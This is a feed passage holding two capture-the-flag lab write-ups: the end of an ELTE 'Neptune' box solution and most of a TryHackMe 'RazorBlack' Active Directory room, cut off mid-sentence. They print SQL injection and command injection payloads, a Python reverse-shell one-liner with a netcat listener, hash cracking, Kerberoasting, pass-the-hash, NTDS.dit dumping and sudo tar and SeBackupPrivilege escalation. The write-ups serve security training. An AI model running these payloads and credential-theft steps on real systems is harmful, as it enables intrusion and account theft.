network.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# netdiscover -r Ip_range/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-vlkd6xhMO86WhqLAawFw.png" /></figure><h4>Nmap Network Enumeration</h4><p>After identifying the target machine’s IP address, the next step is to scan for open ports and the services running on them.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# nmap -Pn -sCV -open -p- TargetIP -oN Neptune.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVkR15Wl0Iewi080OK2DGw.png" /></figure><p><strong>Nmap Results: </strong>The scan identified the following open ports:<br>●​ 21/tcp (FTP): vsftpd 3.0.5.<br>●​ 22/tcp (SSH): OpenSSH 9.9p1 Ubuntu.<br>●​ 80/tcp (HTTP): Apache httpd 2.4.63.</p><h4>Directory Enumeration</h4><p>For directory enumeration, the <a href="https://github.com/epi052/feroxbuster"><strong>Feroxbuster</strong></a> tool was used with a comprehensive wordlist to discover hidden directories and files on the web server. For the Alternative tools you can use <a href="https://github.com/maurosoria/dirsearch"><strong>Dirsearch</strong></a>, <a href="https://github.com/OJ/gobuster"><strong>gobuster</strong></a> or <a href="https://github.com/darksagae/dirbuster"><strong>dirbuster</strong></a><strong> </strong>the chose is your 👍</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# feroxbuster -u http://Target/ -w /usr/share/seclists/Discovery/Web-Content/Dirbuster-2007_directory-list-2.3-medium.txt -x php,html,js,txt -o ferox-result.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MjuT1H9j0rAYaZLG5pf9XQ.png" /></figure><p>Feroxbuster Parameters Explained:<br>●​ -u: Target URL to enumerate<br>● -w: Wordlist path for directory brute-forcing<br><strong>● </strong>-x: File extensions to append during enumeration (php, html, js, txt)<br>● -o: Output file for discovered resources</p><p>Findings:<br>●​ /index.html (Status: 200).<br>●​ /university (Status: 301/200).<br>●​ /course_search (Status: 301/200).<br>●​ /university/robots.txt (Status: 200).</p><p>The robots.txt file is special file created for Browser to instruct them which path to allow or disallow in web interface /course_search,/university, and /temporary_development.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s1wj59Vt783D2cWGh_Bp7w.png" /></figure><h4>Web Discovery</h4><p>After Discovering the directories of the web interface now we are going to check for the Web exposures and vulnerabilities. Upon the result of the directory search we find /course_search/index.php path when we intercept the request with Burpsuite the application accepts user input through the search_term parameter. After analyzing the request, we identified that this application contains a known<strong> SQL Injection vulnerability</strong></p><pre>Test Payload: writing&#39; OR 1=1 —- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wuTwyZboQllWADAFuZww1g.png" /></figure><p>The application returns all information according to the payload Thus, This confirmed the vulnerability.</p><h4>SQL Injection Classifying and Exploitation</h4><p>After Confirming the SQL Injection, the next step is to classify the SQLi type to proceed with exploitation</p><pre>Test Payload: writing&#39;;whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNILZAJH4c-fL1MGLHExTA.png" /></figure><p><strong>Result: </strong>Upon executing the payload, the application returned a verbose database error containing the injected content, confirming the vulnerability as an <strong>Error-Based SQLi.</strong></p><p>To precisely extract data, Error-Based SQL injection (XPATH) using <strong>updatexml</strong> was utilized. This is the one of the method to extract data more specialized for Error-Based SQLi.</p><pre># Retrieving Database Version<br>&#39; OR updatexml(1, concat(0x7e, (SELECT @@version), 0x7e), 1) -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-swdvyrAsI5YDjHuWxx9yQ.png" /></figure><p><strong>Result: </strong>The server returned the version 8.4.7–0ubuntu0.25.04.2 inside an XPATH syntax error.</p><pre>#Enumerating Databases<br>&#39; OR updatexml(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 3,1), 0x7e), 1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mcjeTt8Q25aCYaCLbYD7Q.png" /></figure><p><strong>Result:</strong> The database name credentials_db was discovered.</p><pre>#Enumerating Tables<br>&#39; OR updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=&#39;credentials_db&#39; LIMIT 0,1), 0x7e), 1) -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnyJLTleF0d3IaymCUitEQ.png" /></figure><pre>#Enumerating Columns (Second Column)<br>&#39; OR updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema. columns WHERE table_schema=&#39;credentials_db&#39; and table_name=&#39;users&#39; LIMIT 1,1), 0x7e), 1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcuG9IpG_MXVjB4XtHcTTA.png" /></figure><pre>#Enumerating Columns (Third column)<br>&#39; OR updatexml(1, concat(0x7e, (SELECTcolumn_name FROM information_schema. columns WHEREtable_schema=&#39;credentials_db&#39; and table_name=&#39;users&#39;LIMIT 2,1), 0x7e), 1)- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwpxIJQCaIRJxtK_15mO4A.png" /></figure><p>Following the enumeration of the database, table, and column names, the next step is extracting the sensitive data. We have 2 methods, <strong>First metho</strong>d is Manual Extraction using the Burpsuite Intruder module.</p><p><strong>Configuration of Intruder:</strong> Send the Request to Burp intruder, then we need to select a payload and range. For this example we need to change <strong>LIMIT</strong> fuction’s first part of the payload, for the <strong>Payload type</strong> select <strong>Numbers</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f9FIWnLRLHdoDlU_bAJ93A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R2GU83wNf4UCVAuIN3hdaQ.png" /></figure><p><strong>Second method</strong> Automated with <strong>SQLmap </strong>data extraction is performed by saving the <strong>raw HTTPrequest</strong> to a file and targeting it, then you need give the specified <strong>Database</strong> name and the <strong>table</strong> name that you want to extract the data from.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# sqlmap -r request_file -D &lt;Database_name&gt; -T &lt;Table_name&gt; –dump –batch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gy8bOQlzFCFiBdO6kRatKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-x6sXnBREXgL3kr7C0JSXw.png" /></figure><p><strong>Result: </strong>We successfully extract the usernames and their password hashes the next step going to be <strong>password hash Cracking</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*JqLqGgGNKkuNxVXl.gif" /></figure><h4>Password Cracking:</h4><p>Hashcat was used to crack the extracted hash. In this step, the extracted<br>password hashes are cracked using the <a href="https://github.com/hashcat/hashcat"><strong>Hashcat</strong></a><strong> </strong>tool<strong> </strong>but you can alternative to <a href="https://github.com/openwall/john"><strong>John The Ripper</strong></a>. Since the hashing algorithm has already been identified as<strong> SHA2–256</strong>, the hashes are saved to a file and processed using the corresponding mode <strong>(-m 1400)</strong>. The following command initiates a dictionary attack using the <a href="https://github.com/dw0rsec/rockyou.txt"><strong>Rockyou wordlist</strong></a><strong>.</strong></p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# hashcat -m 1400 -a 0 Hash-file /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHBqLr6aLAHqo7x0kV2EfQ.png" /></figure><h4>Initial Access via FTP &amp; RCE</h4><p>The objective is to identify potential entry points to establish initial access and obtain a system shell. We have 2 possible entry in the nmap result we know machine’s <strong>SSH (22) </strong>and <strong>Ftp (21) </strong>ports are open, when you try he cracked credentials to both of this services you get authentication access with the FTP service.</p><pre>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# ftp Target IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8GxIZiPlkDcAAaFsGxUHA.png" /></figure><p>In the Ftp Session when you enter the <strong>Desktop</strong> Directory you will find a hidden <strong>.xml</strong> file full name <strong>struct.xml , </strong>use Ftp built in command <strong>mget to </strong>download the <strong>struct.xml</strong> file in your local system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMBbbwyKQ4ZNtHMFlkuHBQ.png" /></figure><p>When you check the content of the <strong>xml</strong> file you will see its revealing the webserver’s structure. It contained a hidden path inside the <strong>cms_82dl13</strong> folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QuPLY74owaZkvKqtZWkBrw.png" /></figure><h4>Command Injection (RCE)</h4><p>When we navigated <a href="http://targetip/cms_82dl13/health_check.php"><strong>http://targetIP/cms_82dl13/health_check.php</strong></a> This <strong>Server Health Check Tool</strong> was found to be vulnerable to <strong>Command Injection</strong> via the <strong>service_name</strong> parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EulG3Zergg6jmlsgF3LtEA.png" /></figure><pre> Payload: service_name=;&#39;whoami&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFT52ViIDdGUQxesArxXtA.png" /></figure><p><strong>Result:</strong> The response contained <strong>www-data</strong>, confirming code execution.</p><p><strong>Now the Fun part Begins</strong>✊</p><p><strong>Reverse Shell:</strong> In order to gain system shell we are going to use <strong>Python3</strong> Reverse shell payload, and set up a <strong>netcat listener</strong> to get interactive shell</p><pre>#In Burpsuite Request<br>sshd; python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;Target_IP&quot;,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;])&#39;<br><br>#In Local Machine Terminal<br>┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]<br>└─# rlwrap nc -lvnp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxW7tr6qx-WkPC4PHP89oQ.png" /></figure><p><strong>Result:</strong> A reverse shell connection was established as the <strong>www-data</strong> user.</p><h4>Privilege Escalation</h4><p>After establishing a reverse shell, we successfully pivoted to the user <strong>pete_smith</strong> by authenticating with the previously recovered password.</p><pre>www-data@neptune:/tmp$ su pete_smith<br>Password: &lt;User Password&gt;</pre><p>After gaining access as <strong>pete_smith, </strong>when we check the user’s sudo privileges we see User can run /usr/bin/tar command as root without needing additional Authentication</p><pre>pete_smith@neptune:/tmp$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqhLo1IrTGrVBXKE2-vywA.png" /></figure><p><strong>Result:</strong> <strong>(ALL) NOPASSWD: /usr/bin/tar</strong>. The user pete_smith can execute the tar command as root without a password Using <strong>tar checkpoint </strong>features, show that with sudo permission tar can execute shell as root source <a href="https://gtfobins.org/"><strong>GTFHobins</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16TPvKSHH8_0g3LJjH4b6A.png" /></figure><pre>pete_smith@neptune:/tmp$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XhFpTFvy17PjQC-PTgMhIg.png" /></figure><p><strong>Now we are ROOT!</strong> I hope you Enjoyed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Bk6lU7UDCCORu5sk.gif" /></figure><p>You’ll like to check the<strong> Next Article</strong> follow this<a href="https://medium.com/@yagubzadeh21/d2b71a215301"> <strong>Link</strong></a></p><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/"><strong>https://www.linkedin.com/in/yusif-yagubzadeh/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc2edb28acce" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/elte-offsec-task-1-neptune-fc2edb28acce">ELTE Offsec Task 1: Neptune</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: RazorBlack]]></title>
            <link>https://osintteam.blog/tryhackme-razorblack-3f07706ed533?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f07706ed533</guid>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[asrep-roasting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[zerologon]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 00:03:52 GMT</pubDate>
            <atom:updated>2025-10-27T13:06:20.855Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at <a href="https://tryhackme.com/room/raz0rblack"><strong>TryHackme: RazorBlack</strong></a><strong>. </strong>This is one of the intermediate rooms to practice Windows Active directory exploitation and demostration of one of the New <a href="https://www.cvedetails.com/cve/CVE-2020-1472/"><strong>CVE-2020–1472</strong></a><strong> </strong>Zerologon Vulnerabilty. I am going to solve all steps, but I am not giving you the straight answers😁. My goal in sharing this writeup is to show you the ways if you are in trouble. Please try to understand each steps and take notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/0*HdJqCabxBZkJV7PW.jpeg" /></figure><h4>Scanning and Enumeration</h4><p>Normally when you scan Windows machines you need use <strong>-Pn</strong> flag but in this case the machine ICMP enabled thus we can Scan without using the no ping flag.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# nmap -sCV -p- --open [Target] -oN Razor-nmap.log</pre><h4>Question 1 - <strong>What is the Domain Name?</strong></h4><p>Our First Question ask about the <strong>What is the Domain Name?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNcjrv4dcA3OVs2GZnEndg.png" /></figure><h4>Question 2 - <strong>What is Steven’s Flag?</strong></h4><p>Second Question is <strong>What is Steven’s Flag? </strong>for this again we look at the scan results to find some clue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Eo4yZYPHesD5ZqQJaTyJA.png" /></figure><p>Target’s<strong> NFS</strong> <strong>port 2049</strong> is open this means we can scan for Network file shares is available or not. Target has a dirertory called /users that open to everyone, To get into this directory you can use this command.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# showmout -e [Target]<br>└─# mount Target:/sharefolder [local-share folder]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SFRgO-hEI3PS4dFlsujSMQ.png" /></figure><p>after gaining access to <strong>/users</strong> file in the target there are 2 files inside of the <strong>sbradley.txt </strong>we find the <strong>Flag belongs to Steve</strong> thus solves our second question.</p><h4>Question 3 - What is the zip file’s password?</h4><p>Following this there is another <strong>employee_status.xlsx </strong>Reading this file is little bit tricky we have 2 options.</p><p>First Option is to use one of the tools called <strong>xlsx2cvs </strong>you can install using the terminal using this command <strong>apt install xlsx2cvs</strong> in Kali linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7NWjHlljNvuy6eOrZm23Q.png" /></figure><p>And the Second option is using the online Viewers for me I use this site to read the content of this file.</p><p><a href="https://jumpshare.com/viewer/xlsx">XLSX Viewer - Open XLSX File Online for Free | Jumpshare</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pl-tDfCX4DxtFfJLWD1--A.png" /></figure><p>Now we have the users but we need to change their structure. In the Windows Ad environment username structure is first letter of the first name then the lastname create one username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgBhiJlElpXCGn3GSlTDvA.png" /></figure><p>you can write the usernames manually but for me I write a <strong>simple Python script</strong> that automatically creates the username list.</p><pre>def format_username(full_name):<br>    parts = full_name.strip().split()<br>    if len(parts) &lt; 2:<br>        return parts[0].lower() if parts else &quot;&quot;<br>    first, last = parts[0], parts[-1]<br>    return (first[0] + last).lower()<br>def process_usernames(input_file, output_file):<br>    with open(input_file, &#39;r&#39;, encoding=&#39;utf-8&#39;) as infile:<br>        usernames = infile.readlines()<br>    new_usernames = [format_username(name) for name in usernames if name.strip()]<br>    with open(output_file, &#39;w&#39;, encoding=&#39;utf-8&#39;) as outfile:<br>        for uname in new_usernames:<br>            outfile.write(uname + &#39;\n&#39;)<br>    print(f&quot;[+] Processed {len(new_usernames)} usernames.&quot;)<br>    print(f&quot;[+] New usernames saved to &#39;{output_file}&#39;.&quot;)<br>if __name__ == &quot;__main__&quot;:<br>    input_file = input(&quot;Enter the input username file path: &quot;).strip()<br>    output_file = input(&quot;Enter the output file name: &quot;).strip()<br>    process_usernames(input_file, output_file)</pre><p><strong>Usage of script</strong> is simple you just give path of the username file and the path for the new created username file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r7m-lJHhM8b5DOXwt6dsBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T945xcB8PGLqR7FVoozEhw.png" /></figure><p>Now we have a valid usernames I am going to Try <a href="https://redbotsecurity.com/as-rep-roasting/#:~:text=AS-REP%20Roasting%20is%20a%20Kerberos%20attack%20against%20user,to%20recover%20clear-text%20credentials%2C%20without%20alerting%20domain%20controllers."><strong>ASPREPRoasting attack</strong></a><strong> </strong>and try to get Kerberos hashes.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# impacket-GetNPUsers raz0rblack.thm/ -usersfile Adusers.txt -dc-ip DC-IP -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klSggiC_7gOSDwxyXUtdqA.png" /></figure><p>And now we have twilliams user’s Kerberos hash but to able to use this hash first we need to crack. Save the hash starting <strong>$krb5asrep$ </strong>to a file, for the cracking the hash you can use both hashcat and johntheripper for my case I use the hashcat.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# hashcat -a 0 -m 18200 kerberoshash /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fffSwnomba2B-6wcp9shUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*az6w4VFjwOM5GutFfwdq7A.png" /></figure><p>And Now we have the twilliams user’s password but this users i merely a Domain user and doesn’t have much access but we can use it to find valid users and try <strong>Password spraying</strong> to other users with help of our username list</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# nxc smb DC-ip -u &#39;twilliams&#39;  -p &#39;password&#39; --shares<br>└─# nxc smb DC-ip -u Adusers.txt  -p &#39;password&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4PXs7fNA86LS7sfdu6tVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hIlsvWeqzdKGfcrJLRwqWA.png" /></figure><p>there is something interesting about user <strong>sbradley </strong>as a status password worked but there is a status that <strong>password must change </strong>with this mean we can change the <strong>sbradly user’s smb password </strong>for this we have multiple options first option is use the <strong>smbpasswd</strong> command but this command don’t work for me thus</p><p>I use the Second option<strong> </strong><strong>impacket’s changepassword script </strong>to change the password of the user</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# impacket-changepasswd raz0rblack.thm/sbradley:&#39;Old-password&#39;@DC-Ip -newpass &#39;Newpassword&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_8iWw42ER3BfG-C-SQoq7g.png" /></figure><p>After the Change of the password I use the <strong>netexec smb</strong> to find the share files, and there is a trash folder that is readable</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# nxc smb DC-Ip -u &#39;sbradley&#39;  -p &#39;newpassword&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AWWeIphdctB0fYmfn6ZjAw.png" /></figure><p>I use the <strong>smbclient</strong> to enter the Smb session and use <strong>mget</strong> command to download all the files in the Trash folder. it takes some time be patient</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# smbclient -U sbradley //DC-IP/trash             <br>Password for [WORKGROUP\sbradley]: newpassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y01ih3xwviZMGPVSOrwjzw.png" /></figure><p>One of the files contains chat log between <strong>sbradly</strong> and <strong>administrator </strong>we find some information about the zip file has a password that we need to crack and <strong>Pay Respect for The Administrator </strong>🫡.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EqUzoNJ--Ansf8O_oz8rvA.png" /></figure><p>For the Cracking the zip file password I use <strong>fcrackzip</strong> and <strong>rockyou.txt</strong> as wordlist and solve the third Question.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# fcrackzip -vDup /usr/share/wordlists/rockyou.txt experiment_gone_wrong.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-J6z4AiS4Gw76StMNgQxw.png" /></figure><p><strong>Now we solve the 3rd question.</strong></p><h4>Question 4 - What is Ljudmila’s Hash?</h4><p>Use the password to extract files from Zip file and you see <strong>ntds.dit</strong> and <strong>system.hive</strong> files in the windows system this files <strong>crutial to store user credential informations.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZVynKg6mwdF6dkBA6Mtcw.png" /></figure><p>Now we need to extract the stored Hashes form this two files, for this I use the <strong>impacket secretsdump script </strong>and store the information to a file.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL &gt; secretsdump.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DQPYNthJUi_KTyhnNkepg.png" /></figure><p>To find the<strong> Ljudmila’s Hash </strong>we need to do some modification in this file to remove extra infomation and only save the hashes</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# cat secretsdump.txt | cut -d &quot;:&quot; -f 4 &gt; nthashes.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMJ4xNIvU0KqRHBEvq6Flg.png" /></figure><p>After filtering the user hashes We need to find which hash belongs to Ljudmila to do this Follow this command.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# nxc smb DC-Ip -u &#39;lvetrova&#39;  -H nthashes.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AOF1sINSrkf9IyumYdT6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2XfRZqgrFFDNXYlr6h8zRQ.png" /></figure><p><strong>Now we solve the 4th question.</strong></p><h4>Question 5 - What is Ljudmila’s Flag?</h4><p>We have the lvetrova users hash thus we can use the <strong>Pass-the-Hash</strong> using the <strong>evil-winrm</strong> tool to gain access to <strong>lvetrova users shell </strong>and to get the flag content from <strong>xml</strong> file we also need this following powershell script</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# evil-winrm -i DC-Ip -u lvetrova -H hash</pre><pre>*Evil-WinRM* PS C:\Users\lvetrova&gt; $Credential = Import-Clixml -Path ./lvetrova.xml<br>*Evil-WinRM* PS C:\Users\lvetrova&gt; $Credential.GetNetworkCredential().password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaydFYG-6P8bCcFQuIUXDw.png" /></figure><p><strong>Now we solve the 5th question.</strong></p><h4>Question 6 - What is Xyan1d3’s password?</h4><p>Now its time to get xyan1d3’s password to do this We are going to use Method called <a href="https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/kerberoasting/"><strong>Kerberoasting</strong></a><strong> </strong>to request SPN to give use the Kerberos hash of the user and Crack the hash offline to get password</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# impacket-GetUserSPNs -dc-ip Target raz0rblack.thm/lvetrova -hashes hash:hash -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdaOmODwTQIAcXMOufPXhA.png" /></figure><p>This time I use the Johntheripper to Crack the hash of the user</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt krbhash-file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeLVuAXnInxgNzSBlYrkqg.png" /></figure><p><strong>Now we solve the 6th question.</strong></p><h4>Question 7 - What is Xyan1d3’s Flag?</h4><p>We have a valid password for the user the steps is similar to previous tasks we going to use <strong>evil-winrm</strong> and <strong>Powershell cred cmdlets </strong>to get the flag.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# evil-winrm -i DC-Ip -u xyan1d3 -p password</pre><pre>*Evil-WinRM* PS C:\Users\xyan1d3&gt; $Credential = Import-Clixml -Path ./xyan1d3.xml<br>*Evil-WinRM* PS C:\Users\xyan1d3&gt; $Credential.GetNetworkCredential().password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzLyecjNO1ZUwfD1TQwJ5g.png" /></figure><p><strong>now we solve the 7th question.</strong></p><h4>Question 8th - What is the root Flag?</h4><p>Now it time for the FUN part Privilege Escalation. In the previous task we see the Chat logs there is a <strong>CVE-2020–1472</strong> mention we can use this. First we need to check our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IHASSWwsbVJmeViCLfyYQ.png" /></figure><p>One of the privilege enabled is <strong>SeBackupPrivilege</strong>. This privilege allows users to create backup copies of the system and provides the user with <strong>full read access</strong> to the file system. To abuse this privilege we need to follow this steps</p><p>First step: We are going to create a dsh file using this command and convert this file to a DOS format</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# nano privescshadow.dsh<br><br>set context persistent nowriters<br>add volume c: alias privesc<br>create<br>expose %privesc% z:</pre><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# unix2dos privescshadow.dsh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TO32GQp7GKoHOn6BurttOQ.png" /></figure><p>Second step: In the user shell we are going to Create a new TEMP Folder and upload the dsh file to that folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7OX4QHcgM3aQ6J06-6suw.png" /></figure><p>After uploading the file we need to use <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"><strong>diskshadow</strong></a>command.</p><pre>*Evil-WinRM* PS C:\TEMP&gt; diskshadow /s privescshadow.dsh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pbBV77j1YmZBGMMReHIuTA.png" /></figure><p>Now the last Steps we are going to Copy the same Ntds.dit and system files to get Administrator hash for this Follow this command accordingly.</p><pre>#Copying NTDS.dit file<br>*Evil-WinRM* PS C:\TEMP&gt; robocopy /b z:\windows\ntds . ntds.dit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF4xFUksdjlZAMJWUJ8xRw.png" /></figure><pre>#Copying system File<br>*Evil-WinRM* PS C:\TEMP&gt; reg save hklm\system c:\TEMP\system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euaeNZ8MDZmAafEUept1ag.png" /></figure><pre>#Download ntds.dit file<br>*Evil-WinRM* PS C:\TEMP&gt; download ntds.dit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uO2UVVARGheeaMHy2okrEQ.png" /></figure><pre>#Downlaod system file<br>*Evil-WinRM* PS C:\TEMP&gt; download system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUhEh6qdVhyK3thkQLd3yA.png" /></figure><p>Now we have both <strong>ntds.dit</strong> and <strong>system file</strong> now we are going to extract the hashes using the <strong>secretdumps.</strong></p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# impacket-secretsdump -system system -ntds ntds.dit LOCAL &gt; Pwned.hashes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RbEWbrvFHNkRBqvhEPbrg.png" /></figure><p>Now we have the Admin hash we can Login to the Admin shell using the previous methods</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# evil-winrm -i DC-IP -u Administrator -H admin-hash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hN4QF1hDkpfajUYm4T2flQ.png" /></figure><p>The Root flag stored in <strong>root.xml</strong> file but We can’t use the previous <strong>PScredential</strong> method thus I am using the different approach I use the <strong>Python</strong> to decode the 